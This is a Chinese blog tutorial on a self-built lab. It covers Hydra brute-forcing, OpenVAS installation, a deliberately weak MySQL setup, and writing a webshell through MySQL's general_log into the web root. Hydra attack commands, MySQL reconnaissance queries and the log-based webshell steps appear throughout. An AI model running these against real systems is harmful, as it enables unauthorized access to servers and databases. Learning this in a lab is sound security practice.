hydra弱密码漏洞爆破和OpenVAS使用初探与mysql弱口令环境搭建

您所在的位置:网站首页 hydra爆破oracle口令 hydra弱密码漏洞爆破和OpenVAS使用初探与mysql弱口令环境搭建

hydra弱密码漏洞爆破和OpenVAS使用初探与mysql弱口令环境搭建

2024-05-26 14:37| 来源: 网络整理| 查看: 265

hydra是一个基于字典的密码暴力破解工具,在kali里面集成,在其他发行版里也大都可以通过包管理器进行安装。它默认集成了很多常用的服务以及协议暴力枚举攻击载荷,在渗透测试中有举足轻重的作用。同样的,openvas是一个漏洞扫描器,真的是相当的强大,里面搜录了40多万个漏洞,包括CVE,NVD漏洞平台等,是Nessus项目分支并且开源,在mysql弱密码的漏洞的学习和自动化工具使用的过程中,被这两个工具深深安利到了,所以写下这篇文章,主要介绍工具的使用和安装过程。

hydra

hydra 这个工具的安装还是比较的友好,可以直接使用的包管理器。在日常的使用中,要注意收集一些比较好用的字典,或者根据渗透测试的信息搜集,生成一些比较有针对性的字典。

hydra的强大体现在它支持的服务类型相当的多,集成化很高,并且使用接口很简单,目前支持的服务类型有123456789Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.

参数介绍1234567891011121314151617181920212223242526272829303132333435363738394041hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns][-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]-R 继续从上一次进度接着破解。-S 采用SSL链接。-s PORT 可通过这个参数指定非默认端口。-l LOGIN 指定破解的用户,对特定用户破解。-L FILE 指定用户名字典。-p PASS 小写,指定密码破解,少用,一般是采用密码字典。-P FILE 大写,指定密码字典。-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。-M FILE 指定目标列表文件一行一条。-o FILE 指定结果输出文件。-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。-t TASKS 同时运行的线程数,默认为16。-w TIME 设置最大超时的时间,单位秒,默认是30s。-v / -V 显示详细过程。server 目标ip# hydra的使用十分简单,用得比较多的是-P,-p,-l,-L选项,常见的暴力破解命令举例:#破解ssh:hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.8 ssh#破解smb hydra -l administrator -P pass.txt 10.36.16.18 smb #破解mysqlhydra -l root –p pass.txt –e ns 127.0.0.1 mysql#破解post web登陆hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"# 关于hydra的代理使用,现在已经支持socks5,socks4,http,同时可以支持代理列表的方式,现在已经可以支持64个实体代理列表export HYDRA_PROXY=socks5://l:[email protected]:9150 (or: socks4:// connect://)export HYDRA_PROXY=connect_and_socks_proxylist.txt (up to 64 entries)export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080export HYDRA_PROXY_HTTP=proxylist.txt (up to 64 entries) OpenVAS

OpenVAS是开放式漏洞评估系统,Nessus项目分支,可以用来管理目标系统的漏洞,并且免费开源,在kali默认安装,但未配置和启动。它里面集成了现在比较大型的漏洞发布平台的数据库,并且可以实现自动化poc利用和漏洞探测,包括CVE,NVD等。

这个工具的安装还是相当的繁琐的,涉及证书的导入,redis,sqlite3数据库的安装,还有漏洞数据库的更新,整个流程做下来还是相当的费时间的。在虚拟机的fedora里面体验了一把原生态的安装流程,真的是要吐血了,好在现在有docker这个神器,一切都是那么的优雅。所以现在记录一下fedora,kali,docker的安装流程。其实docker里的安装其实是基于ubuntu 16.04的镜像进行构建的,查看Dockerfile可以学习到ubuntu 16.04下的安装办法。

Kali 2.01234567891011121314151617181920212223# 安装apt-get -y install openvas# 启动流程,涉及证书导入,数据库启动,openvas进程启动等,有些费时openvas setup# 检擦安装版本8或者版本9的开启情况,现在的最新版本是版本9,这个脚本比较方便我们去判断到底openvas是否启动完成,如果有报错,我们可以根据日志文件和fix建议进行相关操作。openvas-check-setup [-v8]|[-v9] /*使用openvas-stop或openvas-start命令,将同时停止或启动OpenVAS服务中的三个程序,即Greenbone Security Assistant、OpenVAS Scanner和OpenVAS Manager。如果用户想要启动或停止单个服务时,可以使用service命令实现。9390为openvas 管理端端口9391 scanner扫描端口9392 web界面登录端口*/# 获取/创建用户,并修改用户密码openvasmd --get-userssudo openvasmd --create-user=admin --role=Adminopenvasmd --user=admin --new-password=123# openvas 版本升级openvas-feed-update fedora安装1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#关闭selinuxvim /etc/selinux/config #将SELINUX=enforcing改为SELINUX=disabled,重启机器即可# 更新sudo dnf update#安装openvassudo dnf install openvas*#安装redissudo dnf install redis* -y#安装sqlite3sudo dnf install sqlite3* -y#安装证书生成工具sudo dnf guntls-utils#编辑redis配置文件,删除以下前导符‘#’# unixsocket /tmp/redis.sock# unixsocketperm 700#后台启动redissudo redis-server /etc/redis.conf&#检擦启动情况openvas-check-setup [-v8]|[-v9] #同步nvt库sudo greenbone-nvt-sync#建立同步本地scapdata数据库sudo greenbone-scapdate-sync#获取证书sudo greenbone-certdata-sync#递归创建需要的目录sudo mkdir -p /var/lib/openvas/openvasmd/gnupg#启动scannersudo openvassd#重建数据库,耗时较久sudo openvasmd --rebuild#创建用户和修改密码sudo openvasmd --create-user=admin --role=Adminopenvasmd --user=admin --new-password=password#生成证书sudo openvas-manage-cert -a#启动gsad(greenbone security assistant),设置端口信息sudo gsad --listen=127.0.0.1 --port=9392 #启动openvasdsudo openvasd 启动1234sudo redis-server /etc/redis.conf &sudo openvassdsudo openvasmdsudo gsad --listen=127.0.0.1 --port=9392 docker1234567# 搜索镜像docker search openvas#选择排名最高的docker pull mikesplain/openvas:9#限制cpu和内存,以deamon方式启动镜像docker run --cpuset-cpus=2 -m 2048M -d -p 443:443 --name openvas mikesplain/openvas:9#浏览器访问:https://localhost,登陆用户名/密码为:admin/admin,enjoy! mysql弱密码环境配置

搭建好lamp后开始进行修改配置

mysql设置远程访问12345678# 修改配置文件和设置远程访问运行,以root用户为例GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;# 把所有权限赋予root用户,并让root用户拥有分配这些权限的权利,同时设置登陆密码为123456,同时接受任何远程主机的连接FLUSH PRIVILEGES #刷新权限表体外话:# 假设要给lypto用户在192.168.1.100的内网机器访问的权限,则//GRANT ALL PRIVILEGES ON *.* TO 'lypto'@’192.168.1.100’ IDENTIFIED BY '654321' WITH GRANT OPTION; iptables 端口放行12iptables -A INPUT -p tcp --dport 3306 -j ACCEPTiptables -A OUTPUT -P tcp --sport 3306 -j ACCEPT 漏洞验证hydra爆破

为了减少爆破难度和速度,mysql远程登陆的密码设置为123456,并且自制字典仅包含两项wearefamily,123456,尝试爆破

OpenVAS扫描

使用openvas进行扫描,设置参数的时候为了减少扫描时间,可以设置只扫描3306端口,尽管这样,因为是虚拟机里面运行,所以比较慢,最后结果比较理想,不仅仅返回了mysql弱密码的9.0以上的高危漏洞评级,而且在漏洞细节里面还爆破出了密码:123456

漏洞利用登陆mysql后参数查看与信息搜集1234567891011121314151617select version();select @@version;select current_user();select user();select database();select @@version_compile_os;select @@basedir;# 默认值 5.7.20-0ubuntu0.16.04.1 /usr/ select @@datadir;# 默认值 5.7.20-0ubuntu0.16.04.1 /var/lib/mysql/select @@plugin_dir; # 默认值 5.7.20-0ubuntu0.16.04.1 /usr/lib/mysql/plugin/select @@secure_file_priv# 默认值 5.7.20-0ubuntu0.16.04.1 /var/lib/mysql-files/SHOW VARIABLES LIKE "secure_file_priv";SELECT @@global.secure_file_priv;show variables like '%general%'; mysql文件操作传shell

secure_file_priv mysql的一个全局只读变量,即使是root用户也没有办法对其进行运行时修改。用于限制数据的导入导出,例如load_file 和select … into outfile 等。mysql 5.5.53 和以前的版本,默认值为空。允许导入导出。之后的版本默认为‘NULL’ ,禁用了导入导出功能。为了安全,不要设置为空。可以设置为NULL 或者 一个限制好权限的目录。

靶机开放读写的权限,设置secure_file_prive=/var/www/html

但是现在mysql以及相对安全了许多,默认的值是,并且不允许在运行时修改,这样在利用的时候就显得有些鸡肋。123456# 限制mysqld的导入和导出,完全禁止出。mysqld --secure_file_prive=null# 限制mysqld的导入和导出,只能在特定目录 /tmp/之下mysqld --secure_file_priv=/tmp/# 不限制mysqld的导入和导出在文件/etc/my.cnf中不写 --secure_file_priv

使用mysql日志功能写shell

在网上看到可以开启日志记录功能,直接修改log的写入文件,就可以传入webshell,网上的教程如下:123set global general_log = on; # 开启general log模式set global general_log_file = '/var/www/html/1.php'; # 设置日志目录为shell地址select '' # 写入shell

但是在具体的实现过程中,发现这个利用也有相当多的限制条件,首先/var/www/html/下必须要有写的权限,其次写入的shell还要能够以apache2运行用户如www-data执行得起来。实操中发现,手动修改了/var/www/html 权限为777的条件下,在linux的环境下菜刀仍旧是连不上。当修改mysql log写入文件如shell.php的权限为777的时候,才可以连得上。但是令人最为费解的地方在于,以root用户身份重新修改了文件权限为原来的620,发现菜刀仍旧可以连得上,难不成这一次修改来回发生了什么不为人知的奥秘?笔者一时解释不清,暂时放在这。慢慢探讨究竟。

参考

http://www.freebuf.com/column/152404.htmlhttps://www.cnblogs.com/zhaijiahui/p/8371336.htmlhttps://www.jianshu.com/p/a4f01fc3a720https://blog.csdn.net/qq_15983061/article/details/77892851http://blkstone.github.io/2017/12/31/mysql-sqli-to-webshell/



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3